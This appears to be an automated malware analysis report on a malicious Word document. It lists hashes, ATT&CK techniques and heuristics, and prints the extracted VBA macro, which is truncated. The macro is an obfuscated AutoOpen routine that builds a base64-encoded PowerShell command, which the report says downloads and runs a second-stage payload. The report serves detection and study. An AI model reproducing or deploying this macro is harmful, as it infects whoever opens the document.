Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e3fb863331bcd42e…

MALICIOUS

Office (OLE)

33.5 KB Created: 2020-05-26 21:14:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: 60d8aa841ac5b8a3ce97897f6809f296 SHA-1: 8237cd7bbe4a74db16f17318d4c95950699e17dc SHA-256: e3fb863331bcd42e034c78b7fb8b2f8c306944c197049af050338f5d18a2e966
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening the document. This macro is designed to reassemble a PowerShell command from split string literals, specifically identifying 'powershell' as a critical finding. The reconstructed PowerShell command is then executed to download and run a second-stage payload, indicated by the long, obfuscated string which likely decodes to a URL or further commands.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4146 bytes
SHA-256: 97b8c2bf80056e16e16ae881b6f72a28825a1e247ca0078b785925cf51ee71e3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()

Dim nmUcUUywi
nmUcUUywi = "/w 1 /C ""s"
nmUcUUywi = nmUcUUywi + "v Txa -;sv ZF ec;sv qYC ((gv Txa).value.toString()"
nmUcUUywi = nmUcUUywi + "+(gv ZF).value.toString());" & "p" & "o" & "w" & "e" & "r" & "s" & "h" & "e" & "l" & "l" & " (gv qYC).val"
nmUcUUywi = nmUcUUywi + "ue.toString() ('cABvAHcAZQByAHMAaABlAGwAbAAgAC8Adw"
nmUcUUywi = nmUcUUywi + "AgADEAIAAvAEMAIAAiAHMAdgAgAFMARQAgAC0AOwBzAHYAIABx"
nmUcUUywi = nmUcUUywi + "AEQAcwAgAGUAYwA7AHMAdgAgAFAAbQBoACAAKAAoAGcAdgAgAF"
nmUcUUywi = nmUcUUywi + "MARQApAC4AdgBhAGwAdQBlAC4AdABvAFMAdAByAGkAbgBnACgA"
nmUcUUywi = nmUcUUywi + "KQArACgAZwB2ACAAcQBEAHMAKQAuAHYAYQBsAHUAZQAuAHQAbw"
nmUcUUywi = nmUcUUywi + "BTAHQAcgBpAG4AZwAoACkAKQA7AHAAbwB3AGUAcgBzAGgAZQBs"
nmUcUUywi = nmUcUUywi + "AGwAIAAoAGcAdgAgAFAAbQBoACkALgB2AGEAbAB1AGUALgB0AG"
nmUcUUywi = nmUcUUywi + "8AUwB0AHIAaQBuAGcAKAApACAAKAAnAEoAQQBCAGsAQQBHADgA"
nmUcUUywi = nmUcUUywi + "QQBkAHcAQgB1AEEAQwBBAEEAUABRAEEAZwBBAEUANABBAFoAUQ"
nmUcUUywi = nmUcUUywi + "BCADMAQQBDADAAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBB"
nmUcUUywi = nmUcUUywi + "AEgAUQBBAEkAQQBCAFQAQQBIAGsAQQBjAHcAQgAwAEEARwBVAE"
nmUcUUywi = nmUcUUywi + "EAYgBRAEEAdQBBAEUANABBAFoAUQBCADAAQQBDADQAQQBWAHcA"
nmUcUUywi = nmUcUUywi + "QgBsAEEARwBJAEEAUQB3AEIAcwBBAEcAawBBAFoAUQBCAHUAQQ"
nmUcUUywi = nmUcUUywi + "BIAFEAQQBDAGcAQQBrAEEASABVAEEAYwBnAEIAcwBBAEMAQQBB"
nmUcUUywi = nmUcUUywi + "AEkAQQBBADkAQQBDAEEAQQBKAHcAQgBvAEEASABRAEEAZABBAE"
nmUcUUywi = nmUcUUywi + "IAdwBBAEgATQBBAE8AZwBBAHYAQQBDADgAQQBkAHcAQgAzAEEA"
nmUcUUywi = nmUcUUywi + "SABjAEEATABnAEIAMwBBAEcAawBBAGIAZwBBAHQAQQBIAEkAQQ"
nmUcUUywi = nmUcUUywi + "BZAFEAQgB5AEEAQwA0AEEAWQB3AEIAdgBBAEcAMABBAEwAdwBC"
nmUcUUywi = nmUcUUywi + "AG0AQQBHAGsAQQBiAEEAQgBsAEEARwBFAEEAWgBBAEIAdABBAE"
nmUcUUywi = nmUcUUywi + "cAawBBAGIAZwBBAHYAQQBIAGMAQQBhAFEAQgB1AEEASABJAEEA"
nmUcUUywi = nmUcUUywi + "WQBRAEIAeQBBAEMAMABBAGQAZwBCAGwAQQBIAEkAQQBjAHcAQg"
nmUcUUywi = nmUcUUywi + "BwAEEARwA4AEEAYgBnAEIAegBBAEMAOABBAGQAdwBCAHAAQQBH"
nmUcUUywi = nmUcUUywi + "ADQAQQBjAGcAQgBoAEEASABJAEEATAB3AEIAMwBBAEcAawBBAG"
nmUcUUywi = nmUcUUywi + "IAZwBCAHkAQQBHAEUAQQBjAGcAQQB0AEEASABnAEEATgBnAEEA"
nmUcUUywi = nmUcUUywi + "MABBAEMAMABBAE4AUQBBADUAQQBEAEEAQQBaAGcAQgB5AEEAQw"
nmUcUUywi = nmUcUUywi + "A0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBAG8AQQBK"
nmUcUUywi = nmUcUUywi + "AEEAQgBtAEEARwBrAEEAYgBBAEIAbABBAEMAQQBBAFAAUQBBAG"
nmUcUUywi = nmUcUUywi + "cAQQBDAGMAQQBkAHcAQgBwAEEARwA0AEEAYwBnAEIAaABBAEgA"
nmUcUUywi = nmUcUUywi + "SQBBAEwAUQBCADQAQQBEAFkAQQBOAEEAQQB0AEEARABVAEEATw"
nmUcUUywi = nmUcUUywi + "BRAEEAdwBBAEcAWQBBAGMAZwBBAHUAQQBHAFUAQQBlAEEAQgBs"
nmUcUUywi = nmUcUUywi + "AEEAQwBjAEEATwB3AEEASwBBAEMAUQBBAFoAQQBCAHYAQQBIAG"
nmUcUUywi = nmUcUUywi + "MAQQBiAGcAQQB1AEEARQBRAEEAYgB3AEIAMwBBAEcANABBAGIA"
nmUcUUywi = nmUcUUywi + "QQBCAHYAQQBHAEUAQQBaAEEAQgBHAEEARwBrAEEAYgBBAEIAbA"
nmUcUUywi = nmUcUUywi + "BBAEMAZwBBAEoAQQBCADEAQQBIAEkAQQBiAEEAQQBzAEEAQwBR"
nmUcUUywi = nmUcUUywi + "AEEAWgBnAEIAcABBAEcAdwBBAFoAUQBBAHAAQQBEAHMAQQBDAG"
nmUcUUywi = nmUcUUywi + "cAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAEkAQQBBADkA"
nmUcUUywi = nmUcUUywi + "QQBDAEEAQQBUAGcAQgBsAEEASABjAEEATABRAEIAUABBAEcASQ"
nmUcUUywi = nmUcUUywi + "BBAGEAZwBCAGwAQQBHAE0AQQBkAEEAQQBnAEEAQwAwAEEAWQB3"
nmUcUUywi = nmUcUUywi + "AEIAdgBBAEcAMABBAEkAQQBCAHoAQQBHAGcAQQBaAFEAQgBzAE"
nmUcUUywi = nmUcUUywi + "EARwB3AEEATABnAEIAaABBAEgAQQBBAGMAQQBCAHMAQQBHAGsA"
nmUcUUywi = nmUcUUywi + "QQBZAHcAQgBoAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEMAZw"
nmUcUUywi = nmUcUUywi + "BBAGsAQQBHAFUAQQBlAEEAQgBsAEEARwBNAEEATABnAEIAegBB"
nmUcUUywi = nmUcUUywi + "AEcAZwBBAFoAUQBCAHMAQQBHAHcAQQBaAFEAQgA0AEEARwBVAE"
nmUcUUywi = nmUcUUywi + "EAWQB3AEIAMQBBAEgAUQBBAFoAUQBBAG8AQQBDAFEAQQBaAGcA"
nmUcUUywi = nmUcUUywi + "QgBwAEEARwB3AEEAWgBRAEEAcABBAEQAcwBBACcAKQAiAA'+'
... (truncated)

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